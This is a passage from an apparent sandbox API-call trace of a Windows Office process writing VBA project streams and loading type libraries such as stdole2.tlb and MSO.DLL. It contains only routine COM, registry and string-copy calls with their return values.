lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0252.218] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb5baba0 [0252.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0{00020819-0000-0000-C000-000000000046}", cchWideChar=40, lpMultiByteStr=0xb5baba0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0{00020819-0000-0000-C000-000000000046}", lpUsedDefaultChar=0x0) returned 40 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42aa0, _DstSizeInBytes=0x400, _Src=0x7fee5dfe648 | out: _Dst=0x7fee5e42aa0) returned 0x0 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee5dfe658 | out: _Dst=0x7fee5e42aaa) returned 0x0 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42ab5, _DstSizeInBytes=0x3eb, _Src=0xb5baba0 | out: _Dst=0x7fee5e42ab5) returned 0x0 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42aa0, _DstSizeInBytes=0x400, _Src=0x7fee5dfe648 | out: _Dst=0x7fee5e42aa0) returned 0x0 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee5dfe7f8 | out: _Dst=0x7fee5e42aaa) returned 0x0 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42abf, _DstSizeInBytes=0x3e1, _Src=0x7fee5dfe2c8 | out: _Dst=0x7fee5e42abf) returned 0x0 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42aa0, _DstSizeInBytes=0x400, _Src=0x7fee5dfe648 | out: _Dst=0x7fee5e42aa0) returned 0x0 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee5dfe670 | out: _Dst=0x7fee5e42aaa) returned 0x0 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42ab9, _DstSizeInBytes=0x3e7, _Src=0x7fee5dfe2c8 | out: _Dst=0x7fee5e42ab9) returned 0x0 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42aa0, _DstSizeInBytes=0x400, _Src=0x7fee5dfe648 | out: _Dst=0x7fee5e42aa0) returned 0x0 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee5dfe748 | out: _Dst=0x7fee5e42aaa) returned 0x0 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42abd, _DstSizeInBytes=0x3e3, _Src=0x7fee5dfe59c | out: _Dst=0x7fee5e42abd) returned 0x0 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42aa0, _DstSizeInBytes=0x400, _Src=0x7fee5dfe648 | out: _Dst=0x7fee5e42aa0) returned 0x0 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee5dfe6a0 | out: _Dst=0x7fee5e42aaa) returned 0x0 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42ab7, _DstSizeInBytes=0x3e9, _Src=0x7fee5dfe59c | out: _Dst=0x7fee5e42ab7) returned 0x0 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42aa0, _DstSizeInBytes=0x400, _Src=0x7fee5dfe648 | out: _Dst=0x7fee5e42aa0) returned 0x0 [0252.218] _mbscpy_s (in: _Dst=0x7fee5e42aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee5dfe770 | out: _Dst=0x7fee5e42aaa) returned 0x0 [0252.219] _mbscpy_s (in: _Dst=0x7fee5e42abf, _DstSizeInBytes=0x3e1, _Src=0x7fee5dfe2c8 | out: _Dst=0x7fee5e42abf) returned 0x0 [0252.219] _mbscpy_s (in: _Dst=0x7fee5e42aa0, _DstSizeInBytes=0x400, _Src=0x7fee5dfe648 | out: _Dst=0x7fee5e42aa0) returned 0x0 [0252.219] _mbscpy_s (in: _Dst=0x7fee5e42aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee5dfe680 | out: _Dst=0x7fee5e42aaa) returned 0x0 [0252.219] _mbscpy_s (in: _Dst=0x7fee5e42abc, _DstSizeInBytes=0x3e4, _Src=0x7fee5dfe59c | out: _Dst=0x7fee5e42abc) returned 0x0 [0252.219] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762b16 | out: _Dst=0xb5f2870) returned 0x0 [0252.220] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762b16 | out: _Dst=0xb5f2870) returned 0x0 [0252.221] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762b3e | out: _Dst=0xb5f2870) returned 0x0 [0252.221] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762b3e | out: _Dst=0xb5f2870) returned 0x0 [0252.221] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762b66 | out: _Dst=0xb5f2870) returned 0x0 [0252.221] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762b8e | out: _Dst=0xb5f2870) returned 0x0 [0252.221] _i64toa_s (in: _Value=14, _Buffer=0x27cb10, _BufferCount=0x18, _Radix=10 | out: _Buffer="14") returned 0x0 [0252.221] strnlen (_Str="14", _MaxCount=0x18) returned 0x2 [0252.221] _i64toa_s (in: _Value=14, _Buffer=0x27cb10, _BufferCount=0x18, _Radix=10 | out: _Buffer="14") returned 0x0 [0252.222] strnlen (_Str="14", _MaxCount=0x18) returned 0x2 [0252.222] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762bb6 | out: _Dst=0xb5f2870) returned 0x0 [0252.222] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762bde | out: _Dst=0xb5f2870) returned 0x0 [0252.222] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762b3e | out: _Dst=0xb5f2870) returned 0x0 [0252.222] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762c06 | out: _Dst=0xb5f2870) returned 0x0 [0252.222] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762b16 | out: _Dst=0xb5f2870) returned 0x0 [0252.222] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762c2e | out: _Dst=0xb5f2870) returned 0x0 [0252.222] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762b8e | out: _Dst=0xb5f2870) returned 0x0 [0252.222] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762c06 | out: _Dst=0xb5f2870) returned 0x0 [0252.222] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762c06 | out: _Dst=0xb5f2870) returned 0x0 [0252.222] CExposedStream::Write () returned 0x0 [0252.222] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762c2e | out: _Dst=0xb5f2870) returned 0x0 [0252.223] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762c2e | out: _Dst=0xb5f2870) returned 0x0 [0252.223] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762bde | out: _Dst=0xb5f2870) returned 0x0 [0252.223] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762bde | out: _Dst=0xb5f2870) returned 0x0 [0252.223] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762c56 | out: _Dst=0xb5f2870) returned 0x0 [0252.224] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762c7e | out: _Dst=0xb5f2870) returned 0x0 [0252.224] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762b66 | out: _Dst=0xb5f2870) returned 0x0 [0252.224] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762c56 | out: _Dst=0xb5f2870) returned 0x0 [0252.224] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762c56 | out: _Dst=0xb5f2870) returned 0x0 [0252.224] _mbscpy_s (in: _Dst=0xb5f2870, _DstSizeInBytes=0x400, _Src=0x6762cae | out: _Dst=0xb5f2870) returned 0x0 [0252.224] CExposedStream::Write () returned 0x0 [0252.224] CExposedStream::Commit () returned 0x0 [0252.239] CExposedStream::Release () returned 0x0 [0252.239] wcscpy_s (in: _Destination=0x27cd90, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0252.239] _ltow_s (in: _Value=2, _Buffer=0x27cd9c, _BufferCount=0x3a, _Radix=16 | out: _Buffer="2") returned 0x0 [0252.239] CExposedDocFile::OpenStream () returned 0x80030002 [0252.239] CExposedDocFile::CreateStream () returned 0x0 [0252.239] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xb83a030 [0252.239] CExposedStream::AddRef () returned 0x2 [0252.239] CExposedStream::Release () returned 0x1 [0252.239] qsort (in: _Base=0xb5af250, _NumOfElements=0x17, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5b95ff0 | out: _Base=0xb5af250) [0252.242] CExposedStream::Write () returned 0x0 [0252.242] CExposedStream::Write () returned 0x0 [0252.242] CExposedStream::Write () returned 0x0 [0252.242] CExposedStream::Write () returned 0x0 [0252.244] CExposedStream::Commit () returned 0x0 [0252.252] CExposedStream::Release () returned 0x0 [0252.252] IMalloc:Free (This=0x7feffc15380, pv=0xb83a030) [0252.252] wcscpy_s (in: _Destination=0x27cd90, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0252.253] _ltow_s (in: _Value=3, _Buffer=0x27cd9c, _BufferCount=0x3a, _Radix=16 | out: _Buffer="3") returned 0x0 [0252.253] CExposedDocFile::OpenStream () returned 0x80030002 [0252.253] CExposedDocFile::CreateStream () returned 0x0 [0252.253] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xb83a030 [0252.253] CExposedStream::AddRef () returned 0x2 [0252.253] CExposedStream::Release () returned 0x1 [0252.253] CExposedStream::Write () returned 0x0 [0252.253] CExposedStream::Commit () returned 0x0 [0252.256] CExposedStream::Release () returned 0x0 [0252.256] IMalloc:Free (This=0x7feffc15380, pv=0xb83a030) [0252.256] CExposedDocFile::CreateStream () returned 0x0 [0252.256] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xb83a030 [0252.256] CExposedStream::AddRef () returned 0x2 [0252.256] CExposedStream::Release () returned 0x1 [0252.256] CExposedStream::Seek () returned 0x0 [0252.257] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5bac60, cb=0x0) returned 0x0 [0252.257] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x7277b90 [0252.257] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x8) returned 0x7278350 [0252.257] IMalloc:Realloc (This=0x7feffc15380, pv=0xb304350, cb=0x8) returned 0x7278350 [0252.257] CExposedStream::Seek () returned 0x0 [0252.257] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5bac90, cb=0x0) returned 0x0 [0252.257] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x7277c20 [0252.257] CExposedStream::Seek () returned 0x0 [0252.257] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5bacc0, cb=0x0) returned 0x0 [0252.257] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x7278360 [0252.257] ITypeInfo:RemoteGetTypeAttr (in: This=0xb3e3820, ppTypeAttr=0x27cb20, pDummy=0x7117bb0 | out: ppTypeAttr=0x27cb20, pDummy=0x7117bb0*=0x7) returned 0x0 [0252.257] StringFromGUID2 (in: rguid=0xb2b0688*(Data1=0x20820, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x27cb60, cchMax=39 | out: lpsz="{00020820-0000-0000-C000-000000000046}") returned 39 [0252.258] ITypeInfo:LocalReleaseTypeAttr (This=0xb3e3820) returned 0x0 [0252.258] IUnknown:Release (This=0xb3e3820) returned 0x1 [0252.258] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb8cab20 [0252.258] CExposedStream::Seek () returned 0x0 [0252.258] IMalloc:Realloc (This=0x7feffc15380, pv=0xb304500, cb=0x48) returned 0xb708ab0 [0252.258] CExposedStream::Seek () returned 0x0 [0252.258] CExposedStream::Seek () returned 0x0 [0252.258] CExposedStream::Seek () returned 0x0 [0252.258] CExposedStream::Seek () returned 0x0 [0252.258] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x8) returned 0x7277da0 [0252.258] IMalloc:Realloc (This=0x7feffc15380, pv=0xb304470, cb=0x8) returned 0x7277da0 [0252.258] IMalloc:Realloc (This=0x7feffc15380, pv=0xb611610, cb=0x0) returned 0x0 [0252.259] CExposedStream::Seek () returned 0x0 [0252.259] CExposedStream::Write () returned 0x0 [0252.259] CExposedStream::Seek () returned 0x0 [0252.259] CExposedStream::AddRef () returned 0x2 [0252.259] CExposedStream::Write () returned 0x0 [0252.259] CExposedStream::Release () returned 0x1 [0252.259] IMalloc:Free (This=0x7feffc15380, pv=0xb83a030) [0252.259] CExposedStream::Seek () returned 0x0 [0252.259] CExposedStream::AddRef () returned 0x2 [0252.259] CExposedStream::Write () returned 0x0 [0252.259] CExposedStream::Release () returned 0x1 [0252.260] _mbscpy_s (in: _Dst=0x7fee5e42aa0, _DstSizeInBytes=0x400, _Src=0x7fee5dfe648 | out: _Dst=0x7fee5e42aa0) returned 0x0 [0252.260] _mbscpy_s (in: _Dst=0x7fee5e42aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee5dfe740 | out: _Dst=0x7fee5e42aaa) returned 0x0 [0252.260] _mbscpy_s (in: _Dst=0x7fee5e42ab5, _DstSizeInBytes=0x3eb, _Src=0x7277e90 | out: _Dst=0x7fee5e42ab5) returned 0x0 [0252.260] ITypeInfo:RemoteGetTypeAttr (in: This=0xb3e3820, ppTypeAttr=0x27c9e0, pDummy=0x7117bb0 | out: ppTypeAttr=0x27c9e0, pDummy=0x7117bb0*=0x7) returned 0x0 [0252.260] StringFromGUID2 (in: rguid=0xb2b0688*(Data1=0x20820, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x27ca20, cchMax=39 | out: lpsz="{00020820-0000-0000-C000-000000000046}") returned 39 [0252.260] ITypeInfo:LocalReleaseTypeAttr (This=0xb3e3820) returned 0x0 [0252.260] IUnknown:Release (This=0xb3e3820) returned 0x1 [0252.260] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb8cab20 [0252.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0{00020820-0000-0000-C000-000000000046}", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0252.260] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb5bacc0 [0252.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0{00020820-0000-0000-C000-000000000046}", cchWideChar=40, lpMultiByteStr=0xb5bacc0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0{00020820-0000-0000-C000-000000000046}", lpUsedDefaultChar=0x0) returned 40 [0252.260] _mbscpy_s (in: _Dst=0x7fee5e42aa0, _DstSizeInBytes=0x400, _Src=0x7fee5dfe648 | out: _Dst=0x7fee5e42aa0) returned 0x0 [0252.260] _mbscpy_s (in: _Dst=0x7fee5e42aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee5dfe658 | out: _Dst=0x7fee5e42aaa) returned 0x0 [0252.260] _mbscpy_s (in: _Dst=0x7fee5e42ab5, _DstSizeInBytes=0x3eb, _Src=0xb5bacc0 | out: _Dst=0x7fee5e42ab5) returned 0x0 [0252.260] _mbscpy_s (in: _Dst=0x7fee5e42aa0, _DstSizeInBytes=0x400, _Src=0x7fee5dfe648 | out: _Dst=0x7fee5e42aa0) returned 0x0 [0252.260] _mbscpy_s (in: _Dst=0x7fee5e42aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee5dfe7f8 | out: _Dst=0x7fee5e42aaa) returned 0x0 [0252.260] _mbscpy_s (in: _Dst=0x7fee5e42abf, _DstSizeInBytes=0x3e1, _Src=0x7fee5dfe2c8 | out: _Dst=0x7fee5e42abf) returned 0x0 [0252.260] _mbscpy_s (in: _Dst=0x7fee5e42aa0, _DstSizeInBytes=0x400, _Src=0x7fee5dfe648 | out: _Dst=0x7fee5e42aa0) returned 0x0 [0252.260] _mbscpy_s (in: _Dst=0x7fee5e42aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee5dfe670 | out: _Dst=0x7fee5e42aaa) returned 0x0 [0252.260] _mbscpy_s (in: _Dst=0x7fee5e42ab9, _DstSizeInBytes=0x3e7, _Src=0x7fee5dfe2c8 | out: _Dst=0x7fee5e42ab9) returned 0x0 [0252.261] _mbscpy_s (in: _Dst=0x7fee5e42aa0, _DstSizeInBytes=0x400, _Src=0x7fee5dfe648 | out: _Dst=0x7fee5e42aa0) returned 0x0 [0252.261] _mbscpy_s (in: _Dst=0x7fee5e42aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee5dfe748 | out: _Dst=0x7fee5e42aaa) returned 0x0 [0252.261] _mbscpy_s (in: _Dst=0x7fee5e42abd, _DstSizeInBytes=0x3e3, _Src=0x7fee5dfe59c | out: _Dst=0x7fee5e42abd) returned 0x0 [0252.261] _mbscpy_s (in: _Dst=0x7fee5e42aa0, _DstSizeInBytes=0x400, _Src=0x7fee5dfe648 | out: _Dst=0x7fee5e42aa0) returned 0x0 [0252.261] _mbscpy_s (in: _Dst=0x7fee5e42aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee5dfe6a0 | out: _Dst=0x7fee5e42aaa) returned 0x0 [0252.261] _mbscpy_s (in: _Dst=0x7fee5e42ab7, _DstSizeInBytes=0x3e9, _Src=0x7fee5dfe59c | out: _Dst=0x7fee5e42ab7) returned 0x0 [0252.261] _mbscpy_s (in: _Dst=0x7fee5e42aa0, _DstSizeInBytes=0x400, _Src=0x7fee5dfe648 | out: _Dst=0x7fee5e42aa0) returned 0x0 [0252.261] _mbscpy_s (in: _Dst=0x7fee5e42aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee5dfe770 | out: _Dst=0x7fee5e42aaa) returned 0x0 [0252.261] _mbscpy_s (in: _Dst=0x7fee5e42abf, _DstSizeInBytes=0x3e1, _Src=0x7fee5dfe2c8 | out: _Dst=0x7fee5e42abf) returned 0x0 [0252.261] _mbscpy_s (in: _Dst=0x7fee5e42aa0, _DstSizeInBytes=0x400, _Src=0x7fee5dfe648 | out: _Dst=0x7fee5e42aa0) returned 0x0 [0252.261] _mbscpy_s (in: _Dst=0x7fee5e42aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee5dfe680 | out: _Dst=0x7fee5e42aaa) returned 0x0 [0252.261] _mbscpy_s (in: _Dst=0x7fee5e42abc, _DstSizeInBytes=0x3e4, _Src=0x7fee5dfe59c | out: _Dst=0x7fee5e42abc) returned 0x0 [0252.261] CExposedStream::Write () returned 0x0 [0252.261] CExposedStream::Commit () returned 0x0 [0252.263] CExposedStream::Release () returned 0x0 [0252.263] CExposedDocFile::CreateStream () returned 0x0 [0252.264] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xb83a030 [0252.264] CExposedStream::AddRef () returned 0x2 [0252.264] CExposedStream::Release () returned 0x1 [0252.264] CExposedStream::Write () returned 0x0 [0252.264] IMalloc:Realloc (This=0x7feffc15380, pv=0x7397a00, cb=0x238) returned 0x4b17da0 [0252.264] CExposedStream::Write () returned 0x0 [0252.264] IMalloc:Realloc (This=0x7feffc15380, pv=0xb4e2d00, cb=0x54) returned 0xb8cab20 [0252.265] CExposedStream::Write () returned 0x0 [0252.265] CExposedStream::Commit () returned 0x0 [0252.267] CExposedDocFile::CreateStream () returned 0x0 [0252.267] CExposedStream::AddRef () returned 0x2 [0252.267] CExposedStream::Write () returned 0x0 [0252.267] CExposedStream::Release () returned 0x1 [0252.268] SysStringByteLen (bstr="") returned 0x0 [0252.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75dc4e8, cbMultiByte=0, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 0 [0252.268] SysStringByteLen (bstr="") returned 0x0 [0252.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75dc4e8, cbMultiByte=1, lpWideCharStr=0x4d86038, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0252.268] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x27cc80 | out: phkResult=0x27cc80*=0xd3a) returned 0x0 [0252.268] RegOpenKeyW (in: hKey=0xd3a, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0x27cc78 | out: phkResult=0x27cc78*=0xb9a) returned 0x0 [0252.269] RegEnumKeyW (in: hKey=0xb9a, dwIndex=0x0, lpName=0x27cca8, cchName=0xa | out: lpName="1.0") returned 0x0 [0252.269] RegEnumKeyW (in: hKey=0xb9a, dwIndex=0x1, lpName=0x27cca8, cchName=0xa | out: lpName="2.0") returned 0x0 [0252.269] wcscpy_s (in: _Destination=0x27cc90, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0252.269] RegOpenKeyW (in: hKey=0xb9a, lpSubKey="2.0", phkResult=0x27cd38 | out: phkResult=0x27cd38*=0x9de) returned 0x0 [0252.270] _ultoa_s (in: _Val=0x0, _DstBuf=0x27ccb0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0252.270] RegOpenKeyA (in: hKey=0x9de, lpSubKey="0", phkResult=0x27cca0 | out: phkResult=0x27cca0*=0x35a) returned 0x0 [0252.270] RegOpenKeyW (in: hKey=0x35a, lpSubKey="win64", phkResult=0x27cca8 | out: phkResult=0x27cca8*=0x35e) returned 0x0 [0252.270] RegCloseKey (hKey=0x35e) returned 0x0 [0252.270] RegCloseKey (hKey=0x35a) returned 0x0 [0252.270] _ultow_s (in: _Value=0x0, _Buffer=0x27cd40, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0252.270] RegOpenKeyW (in: hKey=0x9de, lpSubKey="0", phkResult=0x27cd18 | out: phkResult=0x27cd18*=0x35a) returned 0x0 [0252.271] RegQueryValueW (in: hKey=0x35a, lpSubKey="win64", lpData=0x27cd60, lpcbData=0x27cd14 | out: lpData="C:\\Windows\\system32\\stdole2.tlb", lpcbData=0x27cd14) returned 0x0 [0252.271] wcscpy_s (in: _Destination=0x27cfe0, _SizeInWords=0x104, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0252.271] RegCloseKey (hKey=0x35a) returned 0x0 [0252.271] RegCloseKey (hKey=0x9de) returned 0x0 [0252.272] RegCloseKey (hKey=0xb9a) returned 0x0 [0252.272] RegCloseKey (hKey=0xd3a) returned 0x0 [0252.272] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x27d3a0*=0x0 | out: pptlib=0x27d3a0*=0xb1d1910) returned 0x0 [0252.272] ITypeLib:RemoteGetDocumentation (in: This=0xb1d1910, index=-1, refPtrFlags=0x27d3b0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0252.273] CLSIDFromString (in: lpsz="{00020430-0000-0000-C000-000000000046}", pclsid=0x27d2a0 | out: pclsid=0x27d2a0*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0252.273] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x27cc80 | out: phkResult=0x27cc80*=0xd3a) returned 0x0 [0252.274] RegOpenKeyW (in: hKey=0xd3a, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0x27cc78 | out: phkResult=0x27cc78*=0x9de) returned 0x0 [0252.274] RegEnumKeyW (in: hKey=0x9de, dwIndex=0x0, lpName=0x27cca8, cchName=0xa | out: lpName="2.6") returned 0x0 [0252.275] RegEnumKeyW (in: hKey=0x9de, dwIndex=0x1, lpName=0x27cca8, cchName=0xa | out: lpName="2.7") returned 0x0 [0252.275] RegEnumKeyW (in: hKey=0x9de, dwIndex=0x2, lpName=0x27cca8, cchName=0xa | out: lpName="2.8") returned 0x0 [0252.275] wcscpy_s (in: _Destination=0x27cc90, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0 [0252.275] RegOpenKeyW (in: hKey=0x9de, lpSubKey="2.8", phkResult=0x27cd38 | out: phkResult=0x27cd38*=0x35e) returned 0x0 [0252.276] _ultoa_s (in: _Val=0x0, _DstBuf=0x27ccb0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0252.276] RegOpenKeyA (in: hKey=0x35e, lpSubKey="0", phkResult=0x27cca0 | out: phkResult=0x27cca0*=0xd4e) returned 0x0 [0252.276] RegOpenKeyW (in: hKey=0xd4e, lpSubKey="win64", phkResult=0x27cca8 | out: phkResult=0x27cca8*=0x46e) returned 0x0 [0252.276] RegCloseKey (hKey=0x46e) returned 0x0 [0252.276] RegCloseKey (hKey=0xd4e) returned 0x0 [0252.277] _ultow_s (in: _Value=0x0, _Buffer=0x27cd40, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0252.277] RegOpenKeyW (in: hKey=0x35e, lpSubKey="0", phkResult=0x27cd18 | out: phkResult=0x27cd18*=0x9fe) returned 0x0 [0252.277] RegQueryValueW (in: hKey=0x9fe, lpSubKey="win64", lpData=0x27cd60, lpcbData=0x27cd14 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0x27cd14) returned 0x0 [0252.278] wcscpy_s (in: _Destination=0x27cfe0, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0252.278] RegCloseKey (hKey=0x9fe) returned 0x0 [0252.278] RegCloseKey (hKey=0x35e) returned 0x0 [0252.278] RegCloseKey (hKey=0x9de) returned 0x0 [0252.278] RegCloseKey (hKey=0xd3a) returned 0x0 [0252.278] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x27d3a0*=0x0 | out: pptlib=0x27d3a0*=0x6fed880) returned 0x0 [0252.279] ITypeLib:RemoteGetDocumentation (in: This=0x6fed880, index=-1, refPtrFlags=0x27d3b0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0252.279] CLSIDFromString (in: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", pclsid=0x27d2a0 | out: pclsid=0x27d2a0*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52))) returned 0x0 [0252.279] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb304470 [0252.279] _ultow_s (in: _Value=0x2, _Buffer=0x27d12a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0252.279] _ultow_s (in: _Value=0x0, _Buffer=0x27d12e, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0252.279] _ultow_s (in: _Value=0x0, _Buffer=0x27d132, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0252.279] wcscpy_s (in: _Destination=0xb10a2d8, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0252.279] wcscpy_s (in: _Destination=0xb10a2de, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0252.279] wcscpy_s (in: _Destination=0xb10a32a, _SizeInWords=0x6c, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0252.279] wcscpy_s (in: 